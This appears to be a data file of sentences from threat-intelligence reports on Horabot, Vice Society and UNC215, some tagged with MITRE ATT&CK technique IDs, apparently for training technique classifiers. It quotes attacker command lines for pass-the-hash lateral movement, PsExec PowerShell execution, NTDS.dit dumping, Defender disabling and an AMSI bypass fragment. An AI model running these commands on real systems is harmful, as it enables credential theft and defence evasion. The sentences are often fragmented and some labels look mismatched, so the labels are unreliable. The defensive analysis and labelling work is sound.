{"sentence": "Phishing emails are themed as a tax receipt or service invoice and the attacker is using the email subject and body, in the format shown below:Phishing email subject:Se adjunta la factura del servicio <calendar month in Spanish> :ATT <dd/mm/yyy> <hh:mm:ss> <AM/PM>Comprobante Fiscal Digital <calendar month in Spanish> :ATT <dd/mm/yyy> <hh:mm:ss> <AM/PM>", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "<dd/mm/yyy> <hh:mm:ss> <AM/PM>The end game of the attacker is to deliver the banking trojan to steal the victim's creds and financial data, along with it they are delivering Horabot and separate spam tool to propagate the infection by sending the phishing emails to all of the validated email IDs in the victim's mailbox.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Horabot, during its initial phase of execution, initializes the victim’s desktop Outlook application by loading “Microsoft.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Office.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Interop.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The script also initializes an array to store the stolen email addresses and creates a folder called “a160323” in “C:\\Users\\Public\\.” as an infection marker.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "A function that initializes the outlook application object.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "After initialization, the script looks for the Outlook data files from the victim profile’s Outlook application data folder.", "labels": ["T1083"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "It loads and accesses the victim’s address book and contacts if they exist.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "It enumerates all folders and emails in the victim’s Outlook data file and extracts email addresses from the emails’ sender, recipients, CC and BCC fields.", "labels": ["T1005", "T1083"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "During this process, the script checks the “AddressEntryUserType” object values to determine if the email address is one of the types listed below:Exchange agentExchange organizationExchange distribution listExchange public folderAddress that belongs to the same or different exchange forestAddress that uses Lightweight Directory Access Protocol", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "[LDAP]Address that uses Simple Mail Transfer Protocol", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "[SMTP]Function that enumerates and collects email addresses.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The script has an email address format validation function that compares all of the extracted email addresses with a regular expression.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "After they are successfully validated, the addresses are added to the email address collection array.", "labels": ["T1074.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Microsoft application data folder.", "labels": ["T1074.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Then the script encodes the email addresses in the “.Outlook” file to a data stream.", "labels": ["T1027", "T1074.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Using the GetRequestStream function, the script requests a data stream from the C2 server through the URL hxxp[://]139[.]177[.]193[.]74/esp/12/151222/au/tst/index[.]php?list and upon the successful response, the encoded email addresses are exfiltrated.", "labels": ["T1041", "T1071.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "After exfiltrating the email addresses, the script creates a folder “fb” in the Public user folder and creates an HTML file in it, named “adjuntos_1503.html” in our sample analysis.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Then the script downloads the contents of an HTML file stored in an attacker-controlled server and writes it to the HTML file dropped in the “fb” folder.", "labels": ["T1105"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Next, the script constructs an email with a hardcoded subject and body and attaches the HTML file from the “fb” folder.", "labels": ["T1566.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Then the phishing email is sent to the list of extracted email addresses one at a time, deleting the “fb” folder to cover its paths and avoid detection.", "labels": ["T1070.004"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "CoverageCisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Try Secure Endpoint for free here.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "You can try Secure Email for free here.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Sign up for a free trial of Umbrella here.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Snort SIDs for this threat are 61839-61856 for Snort 2 and 300569-300577 for Snort 3.ClamAV detections are available for this threat:Txt.Loader.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Horabot-10003071-0Ps1.Downloader.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Trojan.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "DelphiTrojanBanking-10003087-0Win.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "DelphiTrojanBanking-10003088-0Txt.Malware.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Horabot-10003089-0Txt.Malware.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Horabot-10003090-0Txt.Malware.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "By Edmund Brumaghin, Joe Marshall, and Arnaud Zobec.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Executive SummaryAnother threat actor is actively exploiting the so-called PrintNightmare vulnerability (CVE-2021-1675 / CVE-2021-34527) in Windows' print spooler service to spread laterally across a victim's network as part of a recent ransomware attack, according to Cisco Talos Incident Response research.", "labels": ["T1210"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "While previous research found that other threat actors had been exploiting this vulnerability, this appears to be new for the threat actor Vice Society.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Talos Incident Response's research demonstrates that multiple, distinct threat actors view this vulnerability as attractive to use during their attacks and may indicate that this vulnerability will continue to see more widespread adoption and incorporation by various adversaries moving forward.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "For defenders, it is important to understand the attack lifecycle leading up to the deployment of ransomware.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "If users have not already, they should download the latest patch for PrintNightmare from Microsoft.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "In this post, we'll analyze the various TTPs used in a recent ransomware attack from Vice Society that leveraged this vulnerability.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Many of these same TTPs are commonly observed in other ransomware attacks, such as a previously published analysis of a WastedLocker attack.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Who is Vice Society?Vice Society is a relatively new player in the ransomware space.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "They emerged in mid-2021 and have been observed launching big-game hunting and double-extortion attacks, primarily targeting small or midsize victims.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "They also attempt to be innovative on end-point detection response bypasses.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "As with other threat actors operating in the big-game hunting space, Vice Society operates a data leak site, which they use to publish data exfiltrated from victims who do not choose to pay their extortion demands.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Below is an example screenshot of this site.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Some of the most interesting characteristics of this attack were:The use of utilities such as proxychains and impacket during the post-compromise phases of the attack lifecycle.", "labels": ["T1090"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The targeting of backups to prevent recovery following ransomware deployment.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Attempts to bypass native Windows protections for credential theft and privilege escalation.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Below are some key examples of the TTPs used in this attack as they relate to the Mitre ATT&CK Framework.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "DiscoveryATT&CK Technique: System Owner/User Discovery (T1033)ATT&CK Technique: Account Discovery (T1087)ATT&CK Technique: Domain Trust Discovery (T1482)Once initial access was achieved, several techniques were observed being leveraged to conduct post-compromise discovery and reconnaissance within the environment.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The \"sudo\" command was used to obtain credentials associated with a commercial backup solution, likely trying to gain access to backups present within the environment.sudo -s", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "-k -p", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "[Backup Prompt] whoamiWe also observed the use of impacket, a common network protocol manipulation tool to enumerate the environment and obtain additional information about the Active Directory configuration in place.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "This is typically done to identify high-value targets that may be attractive, as attacks attempt to maximize their sphere of influence over as much of the environment as possible prior, eventually deploying ransomware and making their presence known.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Below are some examples of the command line syntax used for the performance of this activity.cmd.exe /q", "labels": ["T1059.003"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "1> \\\\127.0.0.1\\admin$\\__[STIRNG] 2>&1cmd.exe /q", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "/c net group domain admins /domain", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "1> \\\\127.0.0.1\\admin$\\__[STRING] 2>&1 We observed enumeration of the domain trust relationships present within the environment.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The adversaries used the \"nltest\" command for this purpose.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "linux", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "[HOSTNAME]ExecutionATT&CK Technique: Command and Scripting Interpreter:", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Windows Command Shell (T1059.003)ATT&CK Technique: Command and Scripting Interpreter: PowerShell (T1059.001)ATT&CK Technique: Windows Management Instrumentation (T1047)ATT&CK Technique: System Services: Service Execution (T1569.002)Similar to what was observed during the post-compromise reconnaissance phase of the attack, the adversary used impacket to execute Windows Management Instrumentation (WMI) to achieve command execution on other systems present in the environment.", "labels": ["T1047"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The attacker also used the \"proxychains\" utility, which is often employed to redirect network traffic during penetration testing, red teaming, and other offensive operations.", "labels": ["T1090"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "cmd.exe /q", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "/c proxychains ~/impacket/examples/wmiexec.py -hashes [SHA256 HASH]", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "[USERNAME]@[IP ADDRESS] 1> \\\\127.0.0.1\\admin$\\__[STRING] 2>&1We also observed the adversary using Windows Batch files to execute PSExec.", "labels": ["T1059.003"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "In this case, PSExec remotely authenticated and executed PowerShell on remote systems within the environment.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "cmd.exe /c", "labels": ["T1059.003", "T1112"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "C:\\s$\\0.bat PsExec.exe -d \\\\[HOSTNAME] -u", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "[DOMAIN]\\[USERNAME] -p", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "[PASSWORD] -accepteula -s", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "powershell.exe -ExecutionPolicy", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Bypass -file \\\\[HOSTNAME]\\s$\\p.ps1", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "There were also artifacts in the environment that indicate that the recently disclosed PrintNightmare vulnerability may have been used during this attack.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "A DLL associated with PrintNightmare was observed on systems within the environment as described in the section \"Credential Access.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "\"PersistenceATT&CK Technique: Create or Modify System Process (T1543)In many big-game hunting ransomware attacks, upon achieving initial access into the target environment, the adversary will first attempt to achieve persistence so that they can regain access to the environment if they are detected or their initial point of access is otherwise removed.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "LocalSystem Service Name: Updater Service Filename: %COMSPEC% /C", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell -noP", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "-sta", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "-w 1 -enc", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "[BASE64 ENCODED BLOB]As can be seen above, the PowerShell being executed was Base64 encoded.", "labels": ["T1027"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The decoded PowerShell instructions are below:This PowerShell is responsible for the performing the following tasks:Disabling PowerShell logging.", "labels": ["T1140", "T1562.001"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Bypassing AMSI protection for PowerShell.", "labels": ["T1105"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "By implementing this persistence, the attacker can regain access to the environment if the targeted organization destroys their initial means of access.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Lateral movementATT&CK Technique: Remote Services (T1021)ATT&CK Technique: Lateral Tool Transfer (T1570)Once operational within the target environment, attackers will typically perform reconnaissance, identifying additional target systems, and then move laterally from system to system as they attempt to escalate privileges and then, ultimately, deploy ransomware on many systems in the environment.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "[HOSTNAME]The attacker also attempted to execute PowerShell scripts on remote systems in the environment while moving system-to-system.", "labels": ["T1570"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Bypass -file \\[IPADDRESS]\\share$\\p.ps1 During the attack, adversaries copied and executed the aforementioned PowerShell script on multiple systems across the environment.", "labels": ["T1570"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Credential accessATT&CK", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Technique: OS Credential Dumping (T1003)ATT&CK Technique: OS Credential Dumping: LSASS Memory (T1003.001)The actor attempted to extract credentials from the victim in two ways: Accessing the active directory global catalog file ntds.dit and utilizing comsvcs.dll. Comsvcs.dll is a well-known way to extract LSASS (Local Security Authority Subsystem Service) data.", "labels": ["T1003.001"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "By invoking comsvcs.dll with rundll32.exe, an adversary can create a dump of any process.", "labels": ["T1003.001", "T1218.011"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "This is a classic and clever living-off-the-land binary (LoLBin) tactic that avoids popular credential extraction tools like Mimikatz, which may alert defenders.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "We also observed attempts to dump the NTDS.dit, which is a database of Active Directory information.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Examples of the command-line syntax used in these cases are below.cmd.exe /q /c", "labels": ["T1059.003"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "powershell ntdsutil.exe '", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "/c powershell ntdsutil.exe '", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "This attack vector is notable in the ubiquitous nature of print services in all modern corporate enterprises.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "We also observed the attacker attempting to clear the contents of security logs on compromised systems.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The following command-line syntax was observed being used to clear the System, Security and Application Windows Event Logs.", "labels": ["T1059.003"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Disabling this security control allows attackers to leverage pass-the-hash attacks and hinder RDP's security on systems.cmd.exe /q /c", "labels": ["T1562.001"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "powershell new-itemproperty -path hklm:\\system\\currentcontrolset\\control\\lsa -name disablerestrictedadmin -value 0", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "-propertytype dword -force 1> \\\\127.0.0.1\\admin$\\__[STRING] 2>&1", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "We also observed the attacker disabling Windows Defender by modifying the Windows Registry on compromised systems.", "labels": ["T1112", "T1562.001"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "DisableRoutinelyTakingAction /t", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "REG_DWORD /d", "labels": ["T1112"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "DisableBlockAtFirstSeen /t", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "In this case, the Windows Command Processor was used to invoke PowerShell, which then leveraged Invoke-Expression (IEX) for this purpose.cmd.exe /Q /c powershell.exe -exec bypass -noni -nop", "labels": ["T1059.003"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "-w 1 -C IEX ([Net.ServicePointManager]::ServerCertificateValidationCallback={$true}try{[Ref].Assembly.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "GetType('Sys'+'tem.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "In these attacks, adversaries attempt to exfiltrate large quantities of sensitive information for the purposes of further extortion against victims.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "This data, once exfiltrated, is published to attacker-controlled websites that are commonly referred to as \"data leak sites\" in situations where the victim chooses not to pay the ransom demand.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Defender takeawaysIt can be difficult to account for the myriad ways an attacker can compromise and inflict malware on a network.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Given the techniques demonstrated here, it can feel overwhelming as a defender to account for every avenue of attack.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The good news is that there are several lessons we can learn about this incident: Logging is critical for forensics — ensure there is reliable and secure logging infrastructure in place.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Utilize multi-factor authentication to make credential theft more difficult to exploit.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Look at egress filtering for firewalls and ensure malicious traffic cannot call out to adversary infrastructure.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Keep up-to-date and offline backups that cannot be targeted by adversaries.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "ConclusionAs demonstrated throughout this post, attackers often make use of a variety of tactics, techniques, and procedures as they work to accomplish their mission objectives.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "In some instances, there is significant overlap and similarities between the approaches taken by distinct threat actors.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Likewise, adversaries are constantly refining their approach to the ransomware attack lifecycle as they strive to operate more effectively, efficiently, and evasively.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "The use of the vulnerability known as PrintNightmare shows that adversaries are paying close attention and will quickly incorporate new tools that they find useful for various purposes during their attacks.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Failure to do so could result in widespread operational disruption, reputational damage, and the loss of confidentiality of sensitive information.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "CoverageWays our customers can detect and block this threat are listed below.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Cisco Secure Endpoint is ideally suited to prevent the execution of the malware detailed in this post.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "New users can try Cisco Secure Endpoint for free here.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Cisco Secure Firewall and Meraki MX can detect malicious activity associated with this threat.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Cisco Secure Malware Analytics helps identify malicious binaries and build protection into all Cisco Security products.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "Cisco Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "PrintNightmare DLL:", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"}
{"sentence": "This blog post details the post-compromise tradecraft and operational tactics, techniques, and procedures (TTPs) of a Chinese espionage group we track as UNC215.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "While UNC215’s targets are located throughout the Middle East, Europe, Asia, and North America, this report focuses on intrusion activity primarily observed at Israeli entities.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "This report comes on the heels of the July 19, 2021, announcements by governments in North America, Europe, and Asia and intragovernmental organizations, such as the North Atlantic Treaty Organization (NATO), and the European Union, condemning widespread cyber espionage conducted on behalf of the Chinese Government.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "These coordinated statements attributing sustained cyber espionage activities to the Chinese Government corroborate our long-standing reporting on Chinese threat actor targeting of private companies, governments, and various organizations around the world, and this blog post shows yet another region where Chinese cyber espionage is active.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Threat Detail", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "In early 2019, Mandiant began identifying and responding to intrusions in the Middle East by Chinese espionage group UNC215.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "These intrusions exploited the Microsoft SharePoint vulnerability CVE-2019-0604 to install web shells and FOCUSFJORD payloads at targets in the Middle East and Central Asia.", "labels": ["T1190"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "APT27 has not been seen since 2015, and UNC215 is targeting many of the regions that APT27 previously focused on; however, we have not seen direct connection or shared tools, so we are only able to assess this link with low confidence.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "This analysis showed multiple, concurrent operations against Israeli government institutions, IT providers and telecommunications entities beginning in January 2019.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "During this time, UNC215 used new TTPs to hinder attribution and detection, maintain operational security, employ false flags, and leverage trusted relationships for lateral movement.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "We believe this adversary is still active in the region.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Attack Lifecycle Between 2019 and 2020, Mandiant responded to several incidents where Microsoft SharePoint vulnerability CVE-2019-0604 was used to deliver web shells, and then FOCUSFJORD payloads to select government and academic targets in the Middle East and Central Asia.", "labels": ["T1190"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "After gaining initial access, the operators conduct credential harvesting and extensive internal network reconnaissance.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "This includes running native Windows commands on compromised servers, executing ADFind on the Active Directory, and scanning the internal network with numerous publicly available tools and a non-public scanner we named WHEATSCAN.", "labels": ["T1059.003"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The operators made a consistent effort to delete these tools and remove any residual forensic artifacts from compromised systems.", "labels": ["T1027"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "In another incident response investigation, UNC215 pivoted to multiple OWA servers and installed web shells.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "After identifying key systems within the target network, such as domain controllers and Exchange servers, UNC215 moved laterally and deployed their signature malware FOCUSFJORD.", "labels": ["T1570"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "UNC215 often uses FOCUSFJORD for the initial stages of an intrusion, and then later deploys HYPERBRO, which has more information collection capabilities such as screen capture and keylogging.", "labels": ["T1056.001", "T1113"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "While UNC215 heavily relies on the custom tools FOCUSFJORD and HYPERBRO, Chinese espionage groups often have resource sharing relationships with other groups, and we do not have enough information to determine if these tools are developed and used exclusively by UNC215. Figure 1: Attack Lifecycle Tradecraft and Operational Security We identified numerous examples of efforts by UNC215 to foil network defenders by minimizing forensic evidence left on compromised hosts, exploiting relationships with trusted third parties, continuously improving the FOCUSFJORD backdoor, concealing command and control (C2) infrastructure, and incorporating false flags.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Reducing Forensic Evidence on Disk UNC215 consistently cleaned up evidence of their intrusion after gaining access to a system.", "labels": ["T1027"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The operators deleted tools used for credential harvesting and internal reconnaissance including a custom scanner dubbed WHEATSCAN after use.", "labels": ["T1070.004"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "The first FOCUSFJORD payload delivered to a system contains a blob that includes C2 and other configuration data.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "On initial execution, FOCUSFJORD writes its encrypted C2 configuration into the system’s registry, sets up a persistence mechanism and then rewrites itself on disk without the embedded configuration and with limited functionality to only read configuration data.", "labels": ["T1112"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "This process enables the operators to obfuscate the configured C2 servers from automated sandbox runs or disclosure in public file scanning services.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "A newly identified utility dubbed FJORDOHELPER can update FOCUSFJORD configurations and completely remove FOCUSFJORD from the system.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Exploiting Trust Relationships UNC215 leveraged trusted third parties in a 2019 operation targeting an Israeli government network.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "As illustrated in Figure 2, the operators were able to access their primary target via RDP connections from a trusted third party using stolen credentials and used this access to deploy and remotely execute FOCUSFJORD on their primary target.", "labels": ["T1021.001", "T1078", "T1570"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "We do not have enough context about the following samples to attribute all of them to UNC215, though they are representative of activity we have seen from the group.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "HYPERBRO samples MD5:", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
